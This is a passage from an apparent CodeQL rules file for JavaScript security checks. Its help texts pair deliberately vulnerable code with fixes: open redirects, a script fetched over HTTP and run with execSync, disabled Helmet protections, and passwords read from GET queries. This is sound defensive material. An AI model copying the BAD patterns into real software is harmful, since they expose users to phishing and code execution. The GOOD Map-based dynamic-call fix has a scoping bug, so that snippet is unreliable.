Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n","markdown":"# Client-side URL redirect\nRedirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\n\n## Example\nThe following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks:\n\n\n```javascript\nwindow.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1];\n\n```\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n"},"properties":{"tags":["security","external/cwe/cwe-079","external/cwe/cwe-116","external/cwe/cwe-601"],"description":"Client-side URL redirection based on unvalidated user input\n              may cause redirection to malicious web sites.","id":"js/client-side-unvalidated-url-redirection","kind":"path-problem","name":"Client-side URL redirect","precision":"high","problem.severity":"error","security-severity":"6.1"}},{"id":"js/server-side-unvalidated-url-redirection","name":"js/server-side-unvalidated-url-redirection","shortDescription":{"text":"Server-side URL redirect"},"fullDescription":{"text":"Server-side URL redirection based on unvalidated user input may cause redirection to malicious web sites."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Server-side URL redirect\nDirectly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\nIf this is not possible, then the user input should be validated in some other way, for example, by verifying that the target URL is on the same host as the current page.\n\n\n## Example\nThe following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"/redirect\", function (req, res) {\n  // BAD: a request parameter is incorporated without validation into a URL redirect\n  res.redirect(req.query[\"target\"]);\n});\n\n```\nOne way to remedy the problem is to validate the user input against a known fixed string before doing the redirection:\n\n\n```javascript\nconst app = require(\"express\")();\n\nconst VALID_REDIRECT = \"http://cwe.mitre.org/data/definitions/601.html\";\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: the request parameter is validated against a known fixed string\n  let target = req.query[\"target\"];\n  if (VALID_REDIRECT === target) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nAlternatively, we can check that the target URL does not redirect to a different host by parsing it relative to a base URL with a known host and verifying that the host stays the same:\n\n\n```javascript\nconst app = require(\"express\")();\n\nfunction isLocalUrl(path) {\n  try {\n    return (\n      // TODO: consider substituting your own domain for example.com\n      new URL(path, \"https://example.com\").origin === \"https://example.com\"\n    );\n  } catch (e) {\n    return false;\n  }\n}\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: check that we don't redirect to a different host\n  let target = req.query[\"target\"];\n  if (isLocalUrl(target)) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nNote that as written, the above code will allow redirects to URLs on `example.com`, which is harmless but perhaps not intended. You can substitute your own domain (if known) for `example.com` to prevent this.\n\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n","markdown":"# Server-side URL redirect\nDirectly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\nIf this is not possible, then the user input should be validated in some other way, for example, by verifying that the target URL is on the same host as the current page.\n\n\n## Example\nThe following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"/redirect\", function (req, res) {\n  // BAD: a request parameter is incorporated without validation into a URL redirect\n  res.redirect(req.query[\"target\"]);\n});\n\n```\nOne way to remedy the problem is to validate the user input against a known fixed string before doing the redirection:\n\n\n```javascript\nconst app = require(\"express\")();\n\nconst VALID_REDIRECT = \"http://cwe.mitre.org/data/definitions/601.html\";\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: the request parameter is validated against a known fixed string\n  let target = req.query[\"target\"];\n  if (VALID_REDIRECT === target) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nAlternatively, we can check that the target URL does not redirect to a different host by parsing it relative to a base URL with a known host and verifying that the host stays the same:\n\n\n```javascript\nconst app = require(\"express\")();\n\nfunction isLocalUrl(path) {\n  try {\n    return (\n      // TODO: consider substituting your own domain for example.com\n      new URL(path, \"https://example.com\").origin === \"https://example.com\"\n    );\n  } catch (e) {\n    return false;\n  }\n}\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: check that we don't redirect to a different host\n  let target = req.query[\"target\"];\n  if (isLocalUrl(target)) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nNote that as written, the above code will allow redirects to URLs on `example.com`, which is harmless but perhaps not intended. You can substitute your own domain (if known) for `example.com` to prevent this.\n\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n"},"properties":{"tags":["security","external/cwe/cwe-601"],"description":"Server-side URL redirection based on unvalidated user input\n              may cause redirection to malicious web sites.","id":"js/server-side-unvalidated-url-redirection","kind":"path-problem","name":"Server-side URL redirect","precision":"high","problem.severity":"warning","security-severity":"6.1"}},{"id":"js/insecure-download","name":"js/insecure-download","shortDescription":{"text":"Download of sensitive file through insecure connection"},"fullDescription":{"text":"Downloading executables and other sensitive files over an insecure connection opens up for potential man-in-the-middle attacks."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Download of sensitive file through insecure connection\nDownloading executables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system.\n\n\n## Recommendation\nUse a secure transfer protocol when downloading executables or other sensitive files.\n\n\n## Example\nIn this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('http://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\nThe HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system.\n\nThe issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('https://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\n\n## References\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n","markdown":"# Download of sensitive file through insecure connection\nDownloading executables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system.\n\n\n## Recommendation\nUse a secure transfer protocol when downloading executables or other sensitive files.\n\n\n## Example\nIn this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('http://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\nThe HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system.\n\nThe issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('https://mydownload.example.org/myscript.sh')\n    .then(res => res.text())\n    .then(script => cp.execSync(script));\n```\n\n## References\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n"},"properties":{"tags":["security","external/cwe/cwe-829"],"description":"Downloading executables and other sensitive files over an insecure connection\n              opens up for potential man-in-the-middle attacks.","id":"js/insecure-download","kind":"path-problem","name":"Download of sensitive file through insecure connection","precision":"high","problem.severity":"error","security-severity":"8.1"}},{"id":"js/insecure-helmet-configuration","name":"js/insecure-helmet-configuration","shortDescription":{"text":"Insecure configuration of Helmet security middleware"},"fullDescription":{"text":"The Helmet middleware is used to set security-related HTTP headers in Express applications. This query finds instances where the middleware is configured with important security features disabled."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Insecure configuration of Helmet security middleware\n[Helmet](https://helmetjs.github.io/) is a collection of middleware functions for securing Express apps. It sets various HTTP headers to guard against common web vulnerabilities. This query detects Helmet misconfigurations that can lead to security vulnerabilities, specifically:\n\n* Disabling frame protection\n* Disabling Content Security Policy\nContent Security Policy (CSP) helps spot and prevent injection attacks such as Cross-Site Scripting (XSS). Removing frame protections exposes an application to attacks such as clickjacking, where an attacker can trick a user into clicking on a button or link on a targeted page when they intended to click on the page carrying out the attack.\n\nUsers of the query can extend the set of required Helmet features by adding additional checks for them, using CodeQL [data extensions](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-javascript/) in a [CodeQL model pack](https://docs.github.com/en/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#creating-a-codeql-model-pack). See `CUSTOMIZING.md` in the query source for more information.\n\n\n## Recommendation\nTo help mitigate these vulnerabilities, ensure that the following Helmet functions are not disabled, and are configured appropriately to your application:\n\n* `frameguard`\n* `contentSecurityPolicy`\n\n## Example\nThe following code snippet demonstrates Helmet configured in an insecure manner:\n\n\n```javascript\nconst helmet = require('helmet');\n\napp.use(helmet({\n    frameguard: false,\n    contentSecurityPolicy: false\n}));\n```\nIn this example, the defaults are used, which enables frame protection and a default Content Security Policy.\n\n\n```javascript\napp.use(helmet());\n```\nYou can also enable a custom Content Security Policy by passing an object to the `contentSecurityPolicy` key. For example, taken from the [Helmet docs](https://helmetjs.github.io/#content-security-policy):\n\n\n```javascript\napp.use(\n    helmet({\n        contentSecurityPolicy: {\n            directives: {\n                \"script-src\": [\"'self'\", \"example.com\"],\n                \"style-src\": null,\n            },\n        },\n    })\n);\n```\n\n## References\n* [helmet.js website](https://helmetjs.github.io/)\n* [Content Security Policy (CSP) | MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)\n* [Mozilla Web Security Guidelines](https://infosec.mozilla.org/guidelines/web_security)\n* [Protect against clickjacking | MDN](https://developer.mozilla.org/en-US/docs/Web/Security#protect_against_clickjacking)\n* Common Weakness Enumeration: [CWE-693](https://cwe.mitre.org/data/definitions/693.html).\n* Common Weakness Enumeration: [CWE-1021](https://cwe.mitre.org/data/definitions/1021.html).\n","markdown":"# Insecure configuration of Helmet security middleware\n[Helmet](https://helmetjs.github.io/) is a collection of middleware functions for securing Express apps. It sets various HTTP headers to guard against common web vulnerabilities. This query detects Helmet misconfigurations that can lead to security vulnerabilities, specifically:\n\n* Disabling frame protection\n* Disabling Content Security Policy\nContent Security Policy (CSP) helps spot and prevent injection attacks such as Cross-Site Scripting (XSS). Removing frame protections exposes an application to attacks such as clickjacking, where an attacker can trick a user into clicking on a button or link on a targeted page when they intended to click on the page carrying out the attack.\n\nUsers of the query can extend the set of required Helmet features by adding additional checks for them, using CodeQL [data extensions](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-javascript/) in a [CodeQL model pack](https://docs.github.com/en/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#creating-a-codeql-model-pack). See `CUSTOMIZING.md` in the query source for more information.\n\n\n## Recommendation\nTo help mitigate these vulnerabilities, ensure that the following Helmet functions are not disabled, and are configured appropriately to your application:\n\n* `frameguard`\n* `contentSecurityPolicy`\n\n## Example\nThe following code snippet demonstrates Helmet configured in an insecure manner:\n\n\n```javascript\nconst helmet = require('helmet');\n\napp.use(helmet({\n    frameguard: false,\n    contentSecurityPolicy: false\n}));\n```\nIn this example, the defaults are used, which enables frame protection and a default Content Security Policy.\n\n\n```javascript\napp.use(helmet());\n```\nYou can also enable a custom Content Security Policy by passing an object to the `contentSecurityPolicy` key. For example, taken from the [Helmet docs](https://helmetjs.github.io/#content-security-policy):\n\n\n```javascript\napp.use(\n    helmet({\n        contentSecurityPolicy: {\n            directives: {\n                \"script-src\": [\"'self'\", \"example.com\"],\n                \"style-src\": null,\n            },\n        },\n    })\n);\n```\n\n## References\n* [helmet.js website](https://helmetjs.github.io/)\n* [Content Security Policy (CSP) | MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)\n* [Mozilla Web Security Guidelines](https://infosec.mozilla.org/guidelines/web_security)\n* [Protect against clickjacking | MDN](https://developer.mozilla.org/en-US/docs/Web/Security#protect_against_clickjacking)\n* Common Weakness Enumeration: [CWE-693](https://cwe.mitre.org/data/definitions/693.html).\n* Common Weakness Enumeration: [CWE-1021](https://cwe.mitre.org/data/definitions/1021.html).\n"},"properties":{"tags":["security","external/cwe/cwe-693","external/cwe/cwe-1021"],"description":"The Helmet middleware is used to set security-related HTTP headers in Express applications. This query finds instances where the middleware is configured with important security features disabled.","id":"js/insecure-helmet-configuration","kind":"problem","name":"Insecure configuration of Helmet security middleware","precision":"high","problem.severity":"error","security-severity":"7.0"}},{"id":"js/insecure-dependency","name":"js/insecure-dependency","shortDescription":{"text":"Dependency download using unencrypted communication channel"},"fullDescription":{"text":"Using unencrypted protocols to fetch dependencies can leave an application open to man-in-the-middle attacks."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Dependency download using unencrypted communication channel\nUsing an insecure protocol like HTTP or FTP to download build dependencies makes the build process vulnerable to a man-in-the-middle (MITM) attack.\n\nThis can allow attackers to inject malicious code into the downloaded dependencies, and thereby infect the build artifacts and execute arbitrary code on the machine building the artifacts.\n\n\n## Recommendation\nAlways use a secure protocol, such as HTTPS or SFTP, when downloading artifacts from an URL.\n\n\n## Example\nThe below example shows a `package.json` file that downloads a dependency using the insecure HTTP protocol.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"http://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\nThe fix is to change the protocol to HTTPS.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"https://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\n\n## References\n* Jonathan Leitschuh: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://infosecwriteups.com/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb)\n* Max Veytsman: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/)\n* Wikipedia: [Supply chain attack.](https://en.wikipedia.org/wiki/Supply_chain_attack)\n* Wikipedia: [Man-in-the-middle attack.](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n","markdown":"# Dependency download using unencrypted communication channel\nUsing an insecure protocol like HTTP or FTP to download build dependencies makes the build process vulnerable to a man-in-the-middle (MITM) attack.\n\nThis can allow attackers to inject malicious code into the downloaded dependencies, and thereby infect the build artifacts and execute arbitrary code on the machine building the artifacts.\n\n\n## Recommendation\nAlways use a secure protocol, such as HTTPS or SFTP, when downloading artifacts from an URL.\n\n\n## Example\nThe below example shows a `package.json` file that downloads a dependency using the insecure HTTP protocol.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"http://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\nThe fix is to change the protocol to HTTPS.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"https://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\n\n## References\n* Jonathan Leitschuh: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://infosecwriteups.com/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb)\n* Max Veytsman: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/)\n* Wikipedia: [Supply chain attack.](https://en.wikipedia.org/wiki/Supply_chain_attack)\n* Wikipedia: [Man-in-the-middle attack.](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n"},"properties":{"tags":["security","external/cwe/cwe-300","external/cwe/cwe-319","external/cwe/cwe-494","external/cwe/cwe-829"],"description":"Using unencrypted protocols to fetch dependencies can leave an application\n              open to man-in-the-middle attacks.","id":"js/insecure-dependency","kind":"problem","name":"Dependency download using unencrypted communication channel","precision":"high","problem.severity":"warning","security-severity":"8.1"}},{"id":"js/sensitive-get-query","name":"js/sensitive-get-query","shortDescription":{"text":"Sensitive data read from GET request"},"fullDescription":{"text":"Placing sensitive data in a GET request increases the risk of the data being exposed to an attacker."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Sensitive data read from GET request\nSensitive information such as user passwords should not be transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing sensitive information into the URL therefore increases the risk that it will be captured by an attacker.\n\n\n## Recommendation\nUse HTTP POST to send sensitive information as part of the request body; for example, as form data.\n\n\n## Example\nThe following example shows two route handlers that both receive a username and a password. The first receives this sensitive information from the query parameters of a GET request, which is transmitted in the URL. The second receives this sensitive information from the request body of a POST request.\n\n\n```javascript\nconst express = require('express');\nconst app = express();\napp.use(require('body-parser').urlencoded({ extended: false }))\n\n// bad: sensitive information is read from query parameters\napp.get('/login1', (req, res) => {\n    const user = req.query.user;\n    const password = req.query.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n// good: sensitive information is read from post body\napp.post('/login2', (req, res) => {\n    const user = req.body.user;\n    const password = req.body.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n```\n\n## References\n* CWE: [CWE-598: Use of GET Request Method with Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n* PortSwigger (Burp): [Password Submitted using GET Method](https://portswigger.net/kb/issues/00400300_password-submitted-using-get-method)\n* OWASP: [Information Exposure through Query Strings in URL](https://owasp.org/www-community/vulnerabilities/Information_exposure_through_query_strings_in_url)\n* Common Weakness Enumeration: [CWE-598](https://cwe.mitre.org/data/definitions/598.html).\n","markdown":"# Sensitive data read from GET request\nSensitive information such as user passwords should not be transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing sensitive information into the URL therefore increases the risk that it will be captured by an attacker.\n\n\n## Recommendation\nUse HTTP POST to send sensitive information as part of the request body; for example, as form data.\n\n\n## Example\nThe following example shows two route handlers that both receive a username and a password. The first receives this sensitive information from the query parameters of a GET request, which is transmitted in the URL. The second receives this sensitive information from the request body of a POST request.\n\n\n```javascript\nconst express = require('express');\nconst app = express();\napp.use(require('body-parser').urlencoded({ extended: false }))\n\n// bad: sensitive information is read from query parameters\napp.get('/login1', (req, res) => {\n    const user = req.query.user;\n    const password = req.query.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n// good: sensitive information is read from post body\napp.post('/login2', (req, res) => {\n    const user = req.body.user;\n    const password = req.body.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n```\n\n## References\n* CWE: [CWE-598: Use of GET Request Method with Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n* PortSwigger (Burp): [Password Submitted using GET Method](https://portswigger.net/kb/issues/00400300_password-submitted-using-get-method)\n* OWASP: [Information Exposure through Query Strings in URL](https://owasp.org/www-community/vulnerabilities/Information_exposure_through_query_strings_in_url)\n* Common Weakness Enumeration: [CWE-598](https://cwe.mitre.org/data/definitions/598.html).\n"},"properties":{"tags":["security","external/cwe/cwe-598"],"description":"Placing sensitive data in a GET request increases the risk of\n              the data being exposed to an attacker.","id":"js/sensitive-get-query","kind":"problem","name":"Sensitive data read from GET request","precision":"high","problem.severity":"warning","security-severity":"6.5"}},{"id":"js/unvalidated-dynamic-method-call","name":"js/unvalidated-dynamic-method-call","shortDescription":{"text":"Unvalidated dynamic method call"},"fullDescription":{"text":"Calling a method with a user-controlled name may dispatch to an unexpected target, which could cause an exception."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Unvalidated dynamic method call\nJavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack.\n\nFor example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime.\n\nAnother, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception.\n\n\n## Recommendation\nIt is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object.\n\nIf the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on.\n\n\n## Example\nIn the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  let action = actions[req.params.action];\n  // BAD: `action` may not be a function\n  res.end(action(req.params.payload));\n});\n\n```\nThe intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error.\n\nThe easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = new Map();\nactions.set(\"play\", function play(data) {\n  // ...\n});\nactions.set(\"pause\", function pause(data) {\n  // ...\n});\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.has(req.params.action)) {\n    if (typeof actions.get(req.params.action) === 'function'){\n      let action = actions.get(req.params.action);\n    }\n    // GOOD: `action` is either the `play` or the `pause` function from above\n    res.end(action(req.params.payload));\n  } else {\n    res.end(\"Unsupported action.\");\n  }\n});\n\n```\nIf `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.hasOwnProperty(req.params.action)) {\n    let action = actions[req.params.action];\n    if (typeof action === 'function') {\n      // GOOD: `action` is an own method of `actions`\n      res.end(action(req.params.payload));\n      return;\n    }\n  }\n  res.end(\"Unsupported action.\");\n});\n\n```\n\n## References\n* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service).\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map).\n* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype).\n* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html).\n","markdown":"# Unvalidated dynamic method call\nJavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack.\n\nFor example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime.\n\nAnother, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception.\n\n\n## Recommendation\nIt is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object.\n\nIf the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on.\n\n\n## Example\nIn the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  let action = actions[req.params.action];\n  // BAD: `action` may not be a function\n  res.end(action(req.params.payload));\n});\n\n```\nThe intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error.\n\nThe easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = new Map();\nactions.set(\"play\", function play(data) {\n  // ...\n});\nactions.set(\"pause\", function pause(data) {\n  // ...\n});\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.has(req.params.action)) {\n    if (typeof actions.get(req.params.action) === 'function'){\n      let action = actions.get(req.params.action);\n    }\n    // GOOD: `action` is either the `play` or the `pause` function from above\n    res.end(action(req.params.payload));\n  } else {\n    res.end(\"Unsupported action.\");\n  }\n});\n\n```\nIf `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.hasOwnProperty(req.params.action)) {\n    let action = actions[req.params.action];\n    if (typeof action === 'function') {\n      // GOOD: `action` is an own method of `actions`\n      res.end(action(req.params.payload));\n      return;\n    }\n  }\n  res.end(\"Unsupported action.\");\n});\n\n```\n\n## References\n* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service).\n* MDN: 